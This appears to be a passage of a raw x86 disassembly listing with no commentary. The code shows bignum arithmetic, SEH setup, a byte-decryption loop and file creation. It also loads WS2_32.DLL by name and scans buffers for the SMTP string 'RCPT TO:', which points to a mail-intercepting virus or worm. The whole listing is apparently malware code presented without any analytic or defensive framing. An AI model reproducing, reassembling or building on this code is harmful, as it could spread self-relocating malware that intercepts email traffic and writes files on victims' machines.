:00401D61 8B4210                  mov eax, dword[edx+10]
:00401D64 8B4A14                  mov ecx, dword[edx+14]
:00401D67 114710                  adc dword[edi+10], eax
:00401D6A 114F14                  adc dword[edi+14], ecx
:00401D6D 8B4218                  mov eax, dword[edx+18]
:00401D70 8B4A1C                  mov ecx, dword[edx+1C]
:00401D73 114718                  adc dword[edi+18], eax
:00401D76 114F1C                  adc dword[edi+1C], ecx
:00401D79 8B4220                  mov eax, dword[edx+20]
:00401D7C 8B4A24                  mov ecx, dword[edx+24]
:00401D7F 114720                  adc dword[edi+20], eax
:00401D82 114F24                  adc dword[edi+24], ecx
:00401D85 8B4228                  mov eax, dword[edx+28]
:00401D88 8B4A2C                  mov ecx, dword[edx+2C]
:00401D8B 114728                  adc dword[edi+28], eax
:00401D8E 114F2C                  adc dword[edi+2C], ecx
:00401D91 8B4230                  mov eax, dword[edx+30]
:00401D94 8B4A34                  mov ecx, dword[edx+34]
:00401D97 114730                  adc dword[edi+30], eax
:00401D9A 114F34                  adc dword[edi+34], ecx
:00401D9D 8B4238                  mov eax, dword[edx+38]
:00401DA0 8B4A3C                  mov ecx, dword[edx+3C]
:00401DA3 114738                  adc dword[edi+38], eax
:00401DA6 114F3C                  adc dword[edi+3C], ecx
:00401DA9 8B4240                  mov eax, dword[edx+40]
:00401DAC 8B4A44                  mov ecx, dword[edx+44]
:00401DAF 114740                  adc dword[edi+40], eax
:00401DB2 114F44                  adc dword[edi+44], ecx
:00401DB5 8B4248                  mov eax, dword[edx+48]
:00401DB8 8B4A4C                  mov ecx, dword[edx+4C]
:00401DBB 114748                  adc dword[edi+48], eax
:00401DBE 114F4C                  adc dword[edi+4C], ecx
:00401DC1 8B4250                  mov eax, dword[edx+50]
:00401DC4 8B4A54                  mov ecx, dword[edx+54]
:00401DC7 114750                  adc dword[edi+50], eax
:00401DCA 114F54                  adc dword[edi+54], ecx
:00401DCD 8B4258                  mov eax, dword[edx+58]
:00401DD0 8B4A5C                  mov ecx, dword[edx+5C]
:00401DD3 114758                  adc dword[edi+58], eax
:00401DD6 114F5C                  adc dword[edi+5C], ecx
:00401DD9 8B4260                  mov eax, dword[edx+60]
:00401DDC 8B4A64                  mov ecx, dword[edx+64]
:00401DDF 114760                  adc dword[edi+60], eax
:00401DE2 114F64                  adc dword[edi+64], ecx
:00401DE5 8B4268                  mov eax, dword[edx+68]
:00401DE8 8B4A6C                  mov ecx, dword[edx+6C]
:00401DEB 114768                  adc dword[edi+68], eax
:00401DEE 114F6C                  adc dword[edi+6C], ecx
:00401DF1 8B4270                  mov eax, dword[edx+70]
:00401DF4 8B4A74                  mov ecx, dword[edx+74]
:00401DF7 114770                  adc dword[edi+70], eax
:00401DFA 114F74                  adc dword[edi+74], ecx
:00401DFD 8B4278                  mov eax, dword[edx+78]
:00401E00 8B4A7C                  mov ecx, dword[edx+7C]
:00401E03 114778                  adc dword[edi+78], eax
:00401E06 114F7C                  adc dword[edi+7C], ecx
:00401E09 E8DA000000              call 00401EE8
:00401E0E 87DB                    xchg ebx, ebx
---------
:00401E10 4B                      dec ebx
:00401E11 0F89C1FEFFFF            jns 00401CD8
:00401E17 8B07                    mov eax, dword[edi]
:00401E19 8B5F04                  mov ebx, dword[edi+04]
:00401E1C 8B4F08                  mov ecx, dword[edi+08]
:00401E1F 8B770C                  mov esi, dword[edi+0C]
:00401E22 8902                    mov dword[edx], eax
:00401E24 895A04                  mov dword[edx+04], ebx
:00401E27 894A08                  mov dword[edx+08], ecx
:00401E2A 89720C                  mov dword[edx+0C], esi
:00401E2D 8B4710                  mov eax, dword[edi+10]
:00401E30 8B5F14                  mov ebx, dword[edi+14]
:00401E33 8B4F18                  mov ecx, dword[edi+18]
:00401E36 8B771C                  mov esi, dword[edi+1C]
:00401E39 894210                  mov dword[edx+10], eax
:00401E3C 895A14                  mov dword[edx+14], ebx
:00401E3F 894A18                  mov dword[edx+18], ecx
:00401E42 89721C                  mov dword[edx+1C], esi
:00401E45 8B4720                  mov eax, dword[edi+20]
:00401E48 8B5F24                  mov ebx, dword[edi+24]
:00401E4B 8B4F28                  mov ecx, dword[edi+28]
:00401E4E 8B772C                  mov esi, dword[edi+2C]
:00401E51 894220                  mov dword[edx+20], eax
:00401E54 895A24                  mov dword[edx+24], ebx
:00401E57 894A28                  mov dword[edx+28], ecx
:00401E5A 89722C                  mov dword[edx+2C], esi
:00401E5D 8B4730                  mov eax, dword[edi+30]
:00401E60 8B5F34                  mov ebx, dword[edi+34]
:00401E63 8B4F38                  mov ecx, dword[edi+38]
:00401E66 8B773C                  mov esi, dword[edi+3C]
:00401E69 894230                  mov dword[edx+30], eax
:00401E6C 895A34                  mov dword[edx+34], ebx
:00401E6F 894A38                  mov dword[edx+38], ecx
:00401E72 89723C                  mov dword[edx+3C], esi
:00401E75 8B4740                  mov eax, dword[edi+40]
:00401E78 8B5F44                  mov ebx, dword[edi+44]
:00401E7B 8B4F48                  mov ecx, dword[edi+48]
:00401E7E 8B774C                  mov esi, dword[edi+4C]
:00401E81 894240                  mov dword[edx+40], eax
:00401E84 895A44                  mov dword[edx+44], ebx
:00401E87 894A48                  mov dword[edx+48], ecx
:00401E8A 89724C                  mov dword[edx+4C], esi
:00401E8D 8B4750                  mov eax, dword[edi+50]
:00401E90 8B5F54                  mov ebx, dword[edi+54]
:00401E93 8B4F58                  mov ecx, dword[edi+58]
:00401E96 8B775C                  mov esi, dword[edi+5C]
:00401E99 894250                  mov dword[edx+50], eax
:00401E9C 895A54                  mov dword[edx+54], ebx
:00401E9F 894A58                  mov dword[edx+58], ecx
:00401EA2 89725C                  mov dword[edx+5C], esi
:00401EA5 8B4760                  mov eax, dword[edi+60]
:00401EA8 8B5F64                  mov ebx, dword[edi+64]
:00401EAB 8B4F68                  mov ecx, dword[edi+68]
:00401EAE 8B776C                  mov esi, dword[edi+6C]
:00401EB1 894260                  mov dword[edx+60], eax
:00401EB4 895A64                  mov dword[edx+64], ebx
:00401EB7 894A68                  mov dword[edx+68], ecx
:00401EBA 89726C                  mov dword[edx+6C], esi
:00401EBD 8B4770                  mov eax, dword[edi+70]
:00401EC0 8B5F74                  mov ebx, dword[edi+74]
:00401EC3 8B4F78                  mov ecx, dword[edi+78]
:00401EC6 8B777C                  mov esi, dword[edi+7C]
:00401EC9 894270                  mov dword[edx+70], eax
:00401ECC 895A74                  mov dword[edx+74], ebx
:00401ECF 894A78                  mov dword[edx+78], ecx
:00401ED2 89727C                  mov dword[edx+7C], esi
:00401ED5 C3                      ret

:00401ED6 87 DB                                             ..

=========
:00401ED8 BBFF030000              mov ebx, 000003FF
---------
:00401EDD 0FA318                  bt dword[eax], ebx
:00401EE0 7203                    jc 00401EE5
:00401EE2 4B                      dec ebx
:00401EE3 75F8                    jne 00401EDD
---------
:00401EE5 C3                      ret

:00401EE6 87 DB                                             ..

=========
:00401EE8 8B7508                  mov esi, dword[ebp+08]
:00401EEB 8B477C                  mov eax, dword[edi+7C]
:00401EEE 8B4E7C                  mov ecx, dword[esi+7C]
:00401EF1 3BC1                    cmp eax, ecx
:00401EF3 72F0                    jc 00401EE5
:00401EF5 0F8735020000            ja 00402130
:00401EFB 8B4778                  mov eax, dword[edi+78]
:00401EFE 8B4E78                  mov ecx, dword[esi+78]
:00401F01 3BC1                    cmp eax, ecx
:00401F03 72E0                    jc 00401EE5
:00401F05 0F8725020000            ja 00402130
:00401F0B 8B4774                  mov eax, dword[edi+74]
:00401F0E 8B4E74                  mov ecx, dword[esi+74]
:00401F11 3BC1                    cmp eax, ecx
:00401F13 72D0                    jc 00401EE5
:00401F15 0F8715020000            ja 00402130
:00401F1B 8B4770                  mov eax, dword[edi+70]
:00401F1E 8B4E70                  mov ecx, dword[esi+70]
:00401F21 3BC1                    cmp eax, ecx
:00401F23 72C0                    jc 00401EE5
:00401F25 0F8705020000            ja 00402130
:00401F2B 8B476C                  mov eax, dword[edi+6C]
:00401F2E 8B4E6C                  mov ecx, dword[esi+6C]
:00401F31 3BC1                    cmp eax, ecx
:00401F33 72B0                    jc 00401EE5
:00401F35 0F87F5010000            ja 00402130
:00401F3B 8B4768                  mov eax, dword[edi+68]
:00401F3E 8B4E68                  mov ecx, dword[esi+68]
:00401F41 3BC1                    cmp eax, ecx
:00401F43 72A0                    jc 00401EE5
:00401F45 0F87E5010000            ja 00402130
:00401F4B 8B4764                  mov eax, dword[edi+64]
:00401F4E 8B4E64                  mov ecx, dword[esi+64]
:00401F51 3BC1                    cmp eax, ecx
:00401F53 7290                    jc 00401EE5
:00401F55 0F87D5010000            ja 00402130
:00401F5B 8B4760                  mov eax, dword[edi+60]
:00401F5E 8B4E60                  mov ecx, dword[esi+60]
:00401F61 3BC1                    cmp eax, ecx
:00401F63 0F827CFFFFFF            jb 00401EE5
:00401F69 0F87C1010000            ja 00402130
:00401F6F 8B475C                  mov eax, dword[edi+5C]
:00401F72 8B4E5C                  mov ecx, dword[esi+5C]
:00401F75 3BC1                    cmp eax, ecx
:00401F77 0F8268FFFFFF            jb 00401EE5
:00401F7D 0F87AD010000            ja 00402130
:00401F83 8B4758                  mov eax, dword[edi+58]
:00401F86 8B4E58                  mov ecx, dword[esi+58]
:00401F89 3BC1                    cmp eax, ecx
:00401F8B 0F8254FFFFFF            jb 00401EE5
:00401F91 0F8799010000            ja 00402130
:00401F97 8B4754                  mov eax, dword[edi+54]
:00401F9A 8B4E54                  mov ecx, dword[esi+54]
:00401F9D 3BC1                    cmp eax, ecx
:00401F9F 0F8240FFFFFF            jb 00401EE5
:00401FA5 0F8785010000            ja 00402130
:00401FAB 8B4750                  mov eax, dword[edi+50]
:00401FAE 8B4E50                  mov ecx, dword[esi+50]
:00401FB1 3BC1                    cmp eax, ecx
:00401FB3 0F822CFFFFFF            jb 00401EE5
:00401FB9 0F8771010000            ja 00402130
:00401FBF 8B474C                  mov eax, dword[edi+4C]
:00401FC2 8B4E4C                  mov ecx, dword[esi+4C]
:00401FC5 3BC1                    cmp eax, ecx
:00401FC7 0F8218FFFFFF            jb 00401EE5
:00401FCD 0F875D010000            ja 00402130
:00401FD3 8B4748                  mov eax, dword[edi+48]
:00401FD6 8B4E48                  mov ecx, dword[esi+48]
:00401FD9 3BC1                    cmp eax, ecx
:00401FDB 0F8204FFFFFF            jb 00401EE5
:00401FE1 0F8749010000            ja 00402130
:00401FE7 8B4744                  mov eax, dword[edi+44]
:00401FEA 8B4E44                  mov ecx, dword[esi+44]
:00401FED 3BC1                    cmp eax, ecx
:00401FEF 0F82F0FEFFFF            jb 00401EE5
:00401FF5 0F8735010000            ja 00402130
:00401FFB 8B4740                  mov eax, dword[edi+40]
:00401FFE 8B4E40                  mov ecx, dword[esi+40]
:00402001 3BC1                    cmp eax, ecx
:00402003 0F82DCFEFFFF            jb 00401EE5
:00402009 0F8721010000            ja 00402130
:0040200F 8B473C                  mov eax, dword[edi+3C]
:00402012 8B4E3C                  mov ecx, dword[esi+3C]
:00402015 3BC1                    cmp eax, ecx
:00402017 0F82C8FEFFFF            jb 00401EE5
:0040201D 0F870D010000            ja 00402130
:00402023 8B4738                  mov eax, dword[edi+38]
:00402026 8B4E38                  mov ecx, dword[esi+38]
:00402029 3BC1                    cmp eax, ecx
:0040202B 0F82B4FEFFFF            jb 00401EE5
:00402031 0F87F9000000            ja 00402130
:00402037 8B4734                  mov eax, dword[edi+34]
:0040203A 8B4E34                  mov ecx, dword[esi+34]
:0040203D 3BC1                    cmp eax, ecx
:0040203F 0F82A0FEFFFF            jb 00401EE5
:00402045 0F87E5000000            ja 00402130
:0040204B 8B4730                  mov eax, dword[edi+30]
:0040204E 8B4E30                  mov ecx, dword[esi+30]
:00402051 3BC1                    cmp eax, ecx
:00402053 0F828CFEFFFF            jb 00401EE5
:00402059 0F87D1000000            ja 00402130
:0040205F 8B472C                  mov eax, dword[edi+2C]
:00402062 8B4E2C                  mov ecx, dword[esi+2C]
:00402065 3BC1                    cmp eax, ecx
:00402067 0F8278FEFFFF            jb 00401EE5
:0040206D 0F87BD000000            ja 00402130
:00402073 8B4728                  mov eax, dword[edi+28]
:00402076 8B4E28                  mov ecx, dword[esi+28]
:00402079 3BC1                    cmp eax, ecx
:0040207B 0F8264FEFFFF            jb 00401EE5
:00402081 0F87A9000000            ja 00402130
:00402087 8B4724                  mov eax, dword[edi+24]
:0040208A 8B4E24                  mov ecx, dword[esi+24]
:0040208D 3BC1                    cmp eax, ecx
:0040208F 0F8250FEFFFF            jb 00401EE5
:00402095 0F8795000000            ja 00402130
:0040209B 8B4720                  mov eax, dword[edi+20]
:0040209E 8B4E20                  mov ecx, dword[esi+20]
:004020A1 3BC1                    cmp eax, ecx
:004020A3 0F823CFEFFFF            jb 00401EE5
:004020A9 0F8781000000            ja 00402130
:004020AF 8B471C                  mov eax, dword[edi+1C]
:004020B2 8B4E1C                  mov ecx, dword[esi+1C]
:004020B5 3BC1                    cmp eax, ecx
:004020B7 0F8228FEFFFF            jb 00401EE5
:004020BD 7771                    ja 00402130
:004020BF 8B4718                  mov eax, dword[edi+18]
:004020C2 8B4E18                  mov ecx, dword[esi+18]
:004020C5 3BC1                    cmp eax, ecx
:004020C7 0F8218FEFFFF            jb 00401EE5
:004020CD 7761                    ja 00402130
:004020CF 8B4714                  mov eax, dword[edi+14]
:004020D2 8B4E14                  mov ecx, dword[esi+14]
:004020D5 3BC1                    cmp eax, ecx
:004020D7 0F8208FEFFFF            jb 00401EE5
:004020DD 7751                    ja 00402130
:004020DF 8B4710                  mov eax, dword[edi+10]
:004020E2 8B4E10                  mov ecx, dword[esi+10]
:004020E5 3BC1                    cmp eax, ecx
:004020E7 0F82F8FDFFFF            jb 00401EE5
:004020ED 7741                    ja 00402130
:004020EF 8B470C                  mov eax, dword[edi+0C]
:004020F2 8B4E0C                  mov ecx, dword[esi+0C]
:004020F5 3BC1                    cmp eax, ecx
:004020F7 0F82E8FDFFFF            jb 00401EE5
:004020FD 7731                    ja 00402130
:004020FF 8B4708                  mov eax, dword[edi+08]
:00402102 8B4E08                  mov ecx, dword[esi+08]
:00402105 3BC1                    cmp eax, ecx
:00402107 0F82D8FDFFFF            jb 00401EE5
:0040210D 7721                    ja 00402130
:0040210F 8B4704                  mov eax, dword[edi+04]
:00402112 8B4E04                  mov ecx, dword[esi+04]
:00402115 3BC1                    cmp eax, ecx
:00402117 0F82C8FDFFFF            jb 00401EE5
:0040211D 7711                    ja 00402130
:0040211F 8B07                    mov eax, dword[edi]
:00402121 8B0E                    mov ecx, dword[esi]
:00402123 3BC1                    cmp eax, ecx
:00402125 0F82BAFDFFFF            jb 00401EE5
:0040212B 7703                    ja 00402130
:0040212D 87DB                    xchg ebx, ebx
:0040212F 90                      nop
---------
:00402130 8B06                    mov eax, dword[esi]
:00402132 8B4E04                  mov ecx, dword[esi+04]
:00402135 2907                    sub dword[edi], eax
:00402137 194F04                  sbb dword[edi+04], ecx
:0040213A 8B4608                  mov eax, dword[esi+08]
:0040213D 8B4E0C                  mov ecx, dword[esi+0C]
:00402140 194708                  sbb dword[edi+08], eax
:00402143 194F0C                  sbb dword[edi+0C], ecx
:00402146 8B4610                  mov eax, dword[esi+10]
:00402149 8B4E14                  mov ecx, dword[esi+14]
:0040214C 194710                  sbb dword[edi+10], eax
:0040214F 194F14                  sbb dword[edi+14], ecx
:00402152 8B4618                  mov eax, dword[esi+18]
:00402155 8B4E1C                  mov ecx, dword[esi+1C]
:00402158 194718                  sbb dword[edi+18], eax
:0040215B 194F1C                  sbb dword[edi+1C], ecx
:0040215E 8B4620                  mov eax, dword[esi+20]
:00402161 8B4E24                  mov ecx, dword[esi+24]
:00402164 194720                  sbb dword[edi+20], eax
:00402167 194F24                  sbb dword[edi+24], ecx
:0040216A 8B4628                  mov eax, dword[esi+28]
:0040216D 8B4E2C                  mov ecx, dword[esi+2C]
:00402170 194728                  sbb dword[edi+28], eax
:00402173 194F2C                  sbb dword[edi+2C], ecx
:00402176 8B4630                  mov eax, dword[esi+30]
:00402179 8B4E34                  mov ecx, dword[esi+34]
:0040217C 194730                  sbb dword[edi+30], eax
:0040217F 194F34                  sbb dword[edi+34], ecx
:00402182 8B4638                  mov eax, dword[esi+38]
:00402185 8B4E3C                  mov ecx, dword[esi+3C]
:00402188 194738                  sbb dword[edi+38], eax
:0040218B 194F3C                  sbb dword[edi+3C], ecx
:0040218E 8B4640                  mov eax, dword[esi+40]
:00402191 8B4E44                  mov ecx, dword[esi+44]
:00402194 194740                  sbb dword[edi+40], eax
:00402197 194F44                  sbb dword[edi+44], ecx
:0040219A 8B4648                  mov eax, dword[esi+48]
:0040219D 8B4E4C                  mov ecx, dword[esi+4C]
:004021A0 194748                  sbb dword[edi+48], eax
:004021A3 194F4C                  sbb dword[edi+4C], ecx
:004021A6 8B4650                  mov eax, dword[esi+50]
:004021A9 8B4E54                  mov ecx, dword[esi+54]
:004021AC 194750                  sbb dword[edi+50], eax
:004021AF 194F54                  sbb dword[edi+54], ecx
:004021B2 8B4658                  mov eax, dword[esi+58]
:004021B5 8B4E5C                  mov ecx, dword[esi+5C]
:004021B8 194758                  sbb dword[edi+58], eax
:004021BB 194F5C                  sbb dword[edi+5C], ecx
:004021BE 8B4660                  mov eax, dword[esi+60]
:004021C1 8B4E64                  mov ecx, dword[esi+64]
:004021C4 194760                  sbb dword[edi+60], eax
:004021C7 194F64                  sbb dword[edi+64], ecx
:004021CA 8B4668                  mov eax, dword[esi+68]
:004021CD 8B4E6C                  mov ecx, dword[esi+6C]
:004021D0 194768                  sbb dword[edi+68], eax
:004021D3 194F6C                  sbb dword[edi+6C], ecx
:004021D6 8B4670                  mov eax, dword[esi+70]
:004021D9 8B4E74                  mov ecx, dword[esi+74]
:004021DC 194770                  sbb dword[edi+70], eax
:004021DF 194F74                  sbb dword[edi+74], ecx
:004021E2 8B4678                  mov eax, dword[esi+78]
:004021E5 8B4E7C                  mov ecx, dword[esi+7C]
:004021E8 194778                  sbb dword[edi+78], eax
:004021EB 194F7C                  sbb dword[edi+7C], ecx
:004021EE C3                      ret

:004021EF E807000000              call 004021FB
:004021F4 BC2083B8ED              mov esp, EDB88320
:004021F9 EB68                    jmp 00402263
=========
:004021FB 6467FF360000            push dword fs:[0000]
:00402201 646789260000            mov dword fs:[0000], esp
:00402207 60                      pushad
:00402208 E8F0F6FFFF              call 004018FD
:0040220D 89A5F5110000            mov dword[ebp+000011F5], esp
:00402213 6A10                    push 00000010
:00402215 5F                      pop edi
:00402216 2BE7                    sub esp, edi
:00402218 8BC4                    mov eax, esp
:0040221A 57                      push edi
:0040221B 54                      push esp
:0040221C 50                      push eax
:0040221D FF742448                push dword[esp+48]
:00402221 FF95C4120000            call dword[ebp+000012C4]
:00402227 58                      pop eax
:00402228 0FB7442402              movzx eax, word[esp+02]
:0040222D 03E7                    add esp, edi
:0040222F 80EC19                  sub ah, 19
:00402232 752F                    jne 00402263
:00402234 8B742430                mov esi, dword[esp+30]
:00402238 8BEE                    mov ebp, esi
:0040223A 8B442434                mov eax, dword[esp+34]
:0040223E 2BC7                    sub eax, edi
:00402240 7621                    jbe 00402263
:00402242 AD                      lodsd
:00402243 25DFDFDFDF              and eax, DFDFDFDF
:00402248 3552435054              xor eax, 54504352
:0040224D AD                      lodsd
:0040224E 7513                    jne 00402263
:00402250 25FFDFDFFF              and eax, FFDFDFFF
:00402255 3520544F3A              xor eax, 3A4F5420
:0040225A 7507                    jne 00402263
:0040225C AC                      lodsb
:0040225D 56                      push esi
:0040225E E80A160000              call 0040386D

:00402263 61 64 67 8F 06 00 00 58 E9 C8 64 FF FF 1B 6B C7   adg....X..d...k.
:00402273 88 98 BD D9 87 D8 A0 FC 32 20 03 01 38 9B 66 41   ........2 ..8.fA
:00402283 CE 18 C9 27 B4 CA F0 B9 6D E5 94 7F 43 61 26 A3   ...'....m...Ca&.
:00402293 E9 B1 8D 9C 78 D1 E5 37 86 2E C1 1D 63 5A 48 AA   ....x..7....cZH.
:004022A3 75 AF 89 AA 75 69 73 AA 75 4B 8C AA 75 D2 9F AA   u...uis.uK..u...
:004022B3 75 B4 A1 AA 75 A0 92 AA 75 A0 96 AA 75 84 47 AA   u...u...u...u.G.
:004022C3 75 F3 8C AA 75 23 67 AA 75 29 67 AA 75 83 7C 24   u...u#g.u)g.u.|$
:004022D3 08 01 74 16 83 7C 24 08 00 0F 84 27 05 00 00 E9   ..t..|$....'....
:004022E3 16 60 FF FF                                       .`..

:004022E7 6A01                    push 00000001
:004022E9 58                      pop eax
:004022EA C20C00                  ret 000C

:004022ED 60                                                `

:004022EE E80AF6FFFF              call 004018FD
:004022F3 8BFD                    mov edi, ebp
:004022F5 81EF00A00000            sub edi, 0000A000
:004022FB 8BDF                    mov ebx, edi
:004022FD 81C7FD120000            add edi, 000012FD
:00402303 B946010000              mov ecx, 00000146
:00402308 60                      pushad
:00402309 680000F7BF              push BFF70000
:0040230E 8D85EF210000            lea eax, dword[ebp+000021EF]
:00402314 50                      push eax
:00402315 83C070                  add eax, 00000070
:00402318 50                      push eax
:00402319 6A1C                    push 0000001C
:0040231B E86EF6FFFF              call 0040198E
:00402320 684C4C0000              push 00004C4C
:00402325 6833322E44              push 442E3233
:0040232A 685753325F              push 5F325357
:0040232F 54                      push esp
:00402330 E8C8F5FFFF              call 004018FD
:00402335 FF957B220000            call dword[ebp+0000227B]
:0040233B 83C40C                  add esp, 0000000C
:0040233E 89853B180000            mov dword[ebp+0000183B], eax
:00402344 50                      push eax
:00402345 8D8570120000            lea eax, dword[ebp+00001270]
:0040234B 50                      push eax
:0040234C 83C030                  add eax, 00000030
:0040234F 50                      push eax
:00402350 6A0C                    push 0000000C
:00402352 E837F6FFFF              call 0040198E
:00402357 61                      popad
:00402358 E34C                    jecxz 004023A6
:0040235A 813F558BEC81            cmp dword[edi], 81EC8B55
:00402360 7444                    je 004023A6
:00402362 8BF1                    mov esi, ecx
:00402364 C1E102                  shl ecx, 02
:00402367 6A00                    push 00000000
:00402369 54                      push esp
:0040236A 6A00                    push 00000000
:0040236C 54                      push esp
:0040236D 6A04                    push 00000004
:0040236F 51                      push ecx
:00402370 57                      push edi
:00402371 FF95CB220000            call dword[ebp+000022CB]
:00402377 89858B130000            mov dword[ebp+0000138B], eax
:0040237D 87AD63220000            xchg dword[ebp+00002263], ebp
:00402383 50                      push eax
:00402384 8BD9                    mov ebx, ecx
:00402386 FFD5                    call ebp
:00402388 53                      push ebx
:00402389 57                      push edi
:0040238A 68FFFFFF7F              push 7FFFFFFF
:0040238F B807F50100              mov eax, 0001F507
:00402394 87CE                    xchg esi, ecx
---------
:00402396 2807                    sub byte[edi], al
:00402398 C1C808                  ror eax, 08
:0040239B AE                      scasb
:0040239C E2F8                    loop 00402396
:0040239E FFD5                    call ebp
:004023A0 5D                      pop ebp
:004023A1 E857F5FFFF              call 004018FD
---------
:004023A6 6800010000              push 00000100
:004023AB 6A40                    push 00000040
:004023AD FF95B7220000            call dword[ebp+000022B7]
:004023B3 8985881F0000            mov dword[ebp+00001F88], eax
:004023B9 FF9597220000            call dword[ebp+00002297]
:004023BF 8985CF0B0000            mov dword[ebp+00000BCF], eax
:004023C5 2BC9                    sub ecx, ecx
:004023C7 6A20                    push 00000020
:004023C9 E8FDF7FFFF              call 00401BCB
:004023CE 91                      xchg eax, ecx
:004023CF D38DC7180000            ror dword[ebp+000018C7], cl
:004023D5 B880010000              mov eax, 00000180
:004023DA E8A10D0000              call 00403180
:004023DF 898D46180000            mov dword[ebp+00001846], ecx
:004023E5 50                      push eax
:004023E6 8985481C0000            mov dword[ebp+00001C48], eax
:004023EC 0580010000              add eax, 00000180
:004023F1 E8D90E0000              call 004032CF
:004023F6 8B5D02                  mov ebx, dword[ebp+02]
:004023F9 03DD                    add ebx, ebp
---------
:004023FB 83EB0C                  sub ebx, 0000000C
:004023FE 8BD3                    mov edx, ebx
:00402400 8B7A08                  mov edi, dword[edx+08]
:00402403 2BDF                    sub ebx, edi
:00402405 47                      inc edi
:00402406 0F84B1000000            je 004024BD
:0040240C 6A20                    push 00000020
:0040240E 4F                      dec edi
:0040240F 59                      pop ecx
:00402410 8BB5481C0000            mov esi, dword[ebp+00001C48]
---------
:00402416 8B02                    mov eax, dword[edx]
:00402418 394604                  cmp dword[esi+04], eax
:0040241B 7529                    jne 00402446
:0040241D 8B4204                  mov eax, dword[edx+04]
:00402420 394608                  cmp dword[esi+08], eax
:00402423 73D6                    jae 004023FB
:00402425 60                      pushad
:00402426 81C41CFFFFFF            add esp, FFFFFF1C
:0040242C 54                      push esp
:0040242D 888DC5180000            mov byte[ebp+000018C5], cl
:00402433 E871040000              call 004028A9
:00402438 54                      push esp
:00402439 FF95BF220000            call dword[ebp+000022BF]
:0040243F 81EC1CFFFFFF            sub esp, FFFFFF1C
:00402445 61                      popad
---------
:00402446 83C60C                  add esi, 0000000C
:00402449 E2CB                    loop 00402416
:0040244B 6A20                    push 00000020
:0040244D 59                      pop ecx
:0040244E 81EC39010000            sub esp, 00000139
---------
:00402454 54                      push esp
:00402455 E84F040000              call 004028A9
:0040245A 54                      push esp
:0040245B FF956B220000            call dword[ebp+0000226B]
:00402461 40                      inc eax
:00402462 740A                    je 0040246E
:00402464 FE85C5180000            inc byte[ebp+000018C5]
:0040246A E2E8                    loop 00402454
:0040246C EB44                    jmp 004024B2
---------
:0040246E 60                      pushad
:0040246F 50                      push eax
:00402470 8BC4                    mov eax, esp
:00402472 6A00                    push 00000000
:00402474 50                      push eax
:00402475 57                      push edi
:00402476 2BFF                    sub edi, edi
:00402478 53                      push ebx
:00402479 8D742434                lea esi, dword[esp+34]
:0040247D 57                      push edi
:0040247E 6880000000              push 00000080
:00402483 6A02                    push 00000002
:00402485 57                      push edi
:00402486 57                      push edi
:00402487 68000000C0              push C0000000
:0040248C 56                      push esi
:0040248D FF95AB220000            call dword[ebp+000022AB]
:00402493 8BD8                    mov ebx, eax
:00402495 53                      push ebx
:00402496 FF957F220000            call dword[ebp+0000227F]
:0040249C 53                      push ebx
:0040249D FF95A7220000            call dword[ebp+000022A7]
:004024A3 8B85481C0000            mov eax, dword[ebp+00001C48]
:004024A9 870424                  xchg dword[esp+esp], eax
:004024AC E81E0E0000              call 004032CF
:004024B1 61                      popad
---------
:004024B2 81ECC7FEFFFF            sub esp, FFFFFEC7
:004024B8 E93EFFFFFF              jmp 004023FB
---------
:004024BD 8D7506                  lea esi, dword[ebp+06]
:004024C0 2BFF                    sub edi, edi
:004024C2 56                      push esi
:004024C3 57                      push edi
:004024C4 6A02                    push 00000002
:004024C6 FF9583220000            call dword[ebp+00002283]
:004024CC 85C0                    test eax, eax
:004024CE 7512                    jne 004024E2
:004024D0 8BCE                    mov ecx, esi
:004024D2 B810000000              mov eax, 00000010
:004024D7 E86B0C0000              call 00403147
:004024DC 87F9                    xchg ecx, edi
:004024DE 8908                    mov dword[eax], ecx
:004024E0 EB16                    jmp 004024F8
---------
:004024E2 97                      xchg eax, edi
:004024E3 6A10                    push 00000010
:004024E5 50                      push eax
:004024E6 50                      push eax
:004024E7 6A02                    push 00000002
:004024E9 57                      push edi
:004024EA FF958F220000            call dword[ebp+0000228F]
:004024F0 85C0                    test eax, eax
:004024F2 0F840B030000            je 00402803
---------
:004024F8 89BD27180000            mov dword[ebp+00001827], edi
:004024FE 89852C180000            mov dword[ebp+0000182C], eax
:00402504 8D450A                  lea eax, dword[ebp+0A]
:00402507 2BFF                    sub edi, edi
:00402509 50                      push eax
:0040250A 57                      push edi
:0040250B 6A02                    push 00000002
:0040250D FF9583220000            call dword[ebp+00002283]
:00402513 85C0                    test eax, eax
:00402515 0F8588020000            jne 004027A3
:0040251B FF7502                  push dword[ebp+02]
:0040251E 8D4D0A                  lea ecx, dword[ebp+0A]
:00402521 B804000100              mov eax, 00010004
:00402526 E81C0C0000              call 00403147
:0040252B 898D18180000            mov dword[ebp+00001818], ecx
:00402531 0404                    add al, 04
:00402533 8985261F0000            mov dword[ebp+00001F26], eax
:00402539 50                      push eax
:0040253A 50                      push eax
:0040253B 8D85060A0000            lea eax, dword[ebp+00000A06]
:00402541 50                      push eax
:00402542 E885F5FFFF              call 00401ACC
:00402547 8BF5                    mov esi, ebp
:00402549 5F                      pop edi
:0040254A 56                      push esi
:0040254B E881130000              call 004038D1
:00402550 0F8211010000            jb 00402667
:00402556 8B4502                  mov eax, dword[ebp+02]
---------
:00402559 03F0                    add esi, eax
:0040255B 8B46FC                  mov eax, dword[esi-04]
:0040255E 40                      inc eax
:0040255F 7407                    je 00402568
:00402561 83C00A                  add eax, 0000000A
:00402564 F7D0                    not eax
:00402566 EBF1                    jmp 00402559
---------
:00402568 8BC6                    mov eax, esi
:0040256A 2B0424                  sub eax, dword[esp+esp]
:0040256D 894502                  mov dword[ebp+02], eax
:00402570 6800C00000              push 0000C000
:00402575 6A40                    push 00000040
:00402577 FF95B7220000            call dword[ebp+000022B7]
:0040257D 85C0                    test eax, eax
:0040257F 0F84E2000000            je 00402667
:00402585 57                      push edi
:00402586 0FBAED1F                bts ebp, 0000001F
:0040258A 97                      xchg eax, edi
:0040258B 8BF7                    mov esi, edi
:0040258D 87742404                xchg dword[esp+04], esi
:00402591 8B8D02000080            mov ecx, dword[ebp+80000002]
:00402597 F3A4                    rep movsb
:00402599 6A20                    push 00000020
:0040259B 68FF000000              push 000000FF
:004025A0 5A                      pop edx
:004025A1 0FB68510000080          movzx eax, byte[ebp+80000010]
:004025A8 D1E0                    shl eax, 1
:004025AA 2BD0                    sub edx, eax
:004025AC 8BB5481C0080            mov esi, dword[ebp+80001C48]
:004025B2 59                      pop ecx
:004025B3 8BD9                    mov ebx, ecx
---------
:004025B5 387E04                  cmp byte[esi+04], bh
:004025B8 0F8496000000            je 00402654
:004025BE 6AFF                    push -00000001
